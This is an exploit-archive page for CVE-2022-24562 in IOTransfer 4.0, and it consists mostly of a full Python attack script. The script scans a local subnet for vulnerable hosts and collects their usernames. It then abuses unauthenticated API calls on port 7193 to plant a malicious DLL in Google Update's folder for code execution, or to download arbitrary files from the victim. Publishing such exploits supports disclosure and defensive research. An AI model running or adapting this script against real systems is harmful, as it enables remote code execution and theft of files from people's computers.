what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IOTransfer 4.0 Remote Code Execution

IOTransfer 4.0 Remote Code Execution
Posted Jul 21, 2022
Authored by Tomer Peled

IOTransfer version 4.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2022-24562
SHA-256 | c710e2da6c6ed4ef7a63d1d4f9778557d2652281b2fc26cee33fa39fd5d1ca51

IOTransfer 4.0 Remote Code Execution

Change Mirror Download
# Exploit Title: IOTransfer V4 – Remote Code Execution (RCE)
# Date: 06/22/2022
# Exploit Author: Tomer Peled
# Vendor Homepage: https://www.iobit.com
# Software Link: https://iotransfer.itopvpn.com/
# Version: V4 and onward
# Tested on: Windows 10
# CVE : 2022-24562
# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

import os
from urllib3.exceptions import ConnectTimeoutError
from win32com.client import *
import requests
import json

localPayloadPath = r"c:\temp\malicious.dll"
remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll"
remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf'
Range = "192.168.89"
UpOrDown="Upload"
IP = ""
UserName = ""

def get_version_number(file_path):
information_parser = Dispatch("Scripting.FileSystemObject")
version = information_parser.GetFileVersion(file_path)
return version


def getTaskList(IP, taskid=""):
print("Getting task list...")
url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*'
res = requests.get(url)
tasks = json.loads(res.content)
tasks = json.loads(tasks['content'])
for task in tasks['tasks']:
if taskid == task['taskid']:
print(f"Task ID found: {taskid}")


def CreateUploadTask(IP):
SetSavePath(IP)
url = f'http://{IP}:7193/index.php?action=createtask'
task = {
'method': 'get',
'version': '1',
'userid': '*',
'taskstate': '0',
}
res = requests.post(url, json=task)
task = json.loads(res.content)
task = json.loads(task['content'])
taskid = task['taskid']
print(f"[*] TaskID: {taskid}")
return taskid


def CreateUploadDetailNode(IP, taskid, remotePath, size='100'):
url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0'
file_info = {
'size': size,
'savefilename': remotePath,
'name': remotePath,
'fullpath': r'c:\windows\system32\calc.exe',
'md5': 'md5md5md5md5md5',
'filetype': '3',
}
res = requests.post(url, json=file_info)
js = json.loads(res.content)
print(f"[V] Create Detail returned: {js['code']}")


def readFile(Path):
file = open(Path, "rb")
byte = file.read(1)
next = "Start"
while next != b'':
byte = byte + file.read(1023)
next = file.read(1)
if next != b'':
byte = byte + next
file.close()
return byte


def CallUpload(IP, taskid, localPayloadPath):
url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0'
send_data = readFile(localPayloadPath)
try:
res = requests.post(url, data=send_data)
js = json.loads(res.content)
if js['code'] == 200:
print("[V] Success payload uploaded!")
else:
print(f"CreateRemoteFile: {res.content}")
except:
print("[*] Reusing the task...")
res = requests.post(url, data=send_data)
js = json.loads(res.content)
if js['code'] == 200 or "false" in js['error']:
print("[V] Success payload uploaded!")
else:
print(f"[X] CreateRemoteFile Failed: {res.content}")


def SetSavePath(IP):
url = f'http://{IP}:7193/index.php?action=setiotconfig'
config = {
'tasksavepath': 'C:\\Program '
}
requests.post(url, json=config)

def ExploitUpload(IP,payloadPath,rPath,taskid =None):
if not taskid:
taskid = CreateUploadTask(IP)
size = os.path.getsize(payloadPath)
CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))
CallUpload(IP, taskid, payloadPath)


def CreateDownloadTask(IP, Path) -> str:
url = f'http://{IP}:7193/index.php?action=createtask'
task = {
'method': 'get',
'version': '1',
'userid': '*',
'taskstate': '0',
'filepath': Path
}
res = requests.post(url, json=task)
task = json.loads(res.content)
task = json.loads(task['content'])
taskid = task['taskid']
print(f"TaskID: {taskid}")
return taskid


def ExploitDownload(IP, DownloadPath, ID=None):
if ID:
url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'
else:
taskid = CreateDownloadTask(IP, DownloadPath)
url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'
res = requests.get(url)
return res

def ScanIP(startRange):
print("[*] Searching for vulnerable IPs", end='')
Current = 142
IP = f"{startRange}.{Current}"
VulnerableIP: str = ""
UserName: str = ""
while Current < 252:
print(".", end='')
url = f'http://{IP}:7193/index.php?action=getpcname&userid=*'
try:
res = requests.get(url, timeout=1)
js = json.loads(res.content)
js2 = json.loads(js['content'])
UserName = js2['name']
VulnerableIP=IP
print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}")
print(f"[!] Vulnerable PC username: {UserName}")
return VulnerableIP,UserName
except Exception as e:
pass
except ConnectTimeoutError:
pass
IP = f"{startRange}.{Current}"
Current = Current + 1
return None,None


if __name__ == '__main__':
IP,UserName = ScanIP(Range)
if IP is None or UserName is None:
print("[X] No vulnerable IP found")
exit()
print("[*] Starting Exploit...")
if UpOrDown == "Upload":
print(f"[*]Local Payload Path: {localPayloadPath}")
print(f"[*]Remote Upload Path: {remotePayloadPath}")
ExploitUpload(IP,localPayloadPath,remotePayloadPath)
elif UpOrDown == "Download":
print(f"[*] Downloading the file: {remoteDownloadPath}")
res = ExploitDownload(IP, remoteDownloadPath)
file = open("out.pdf", "wb+")
file.write(res.content)
file.close()

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close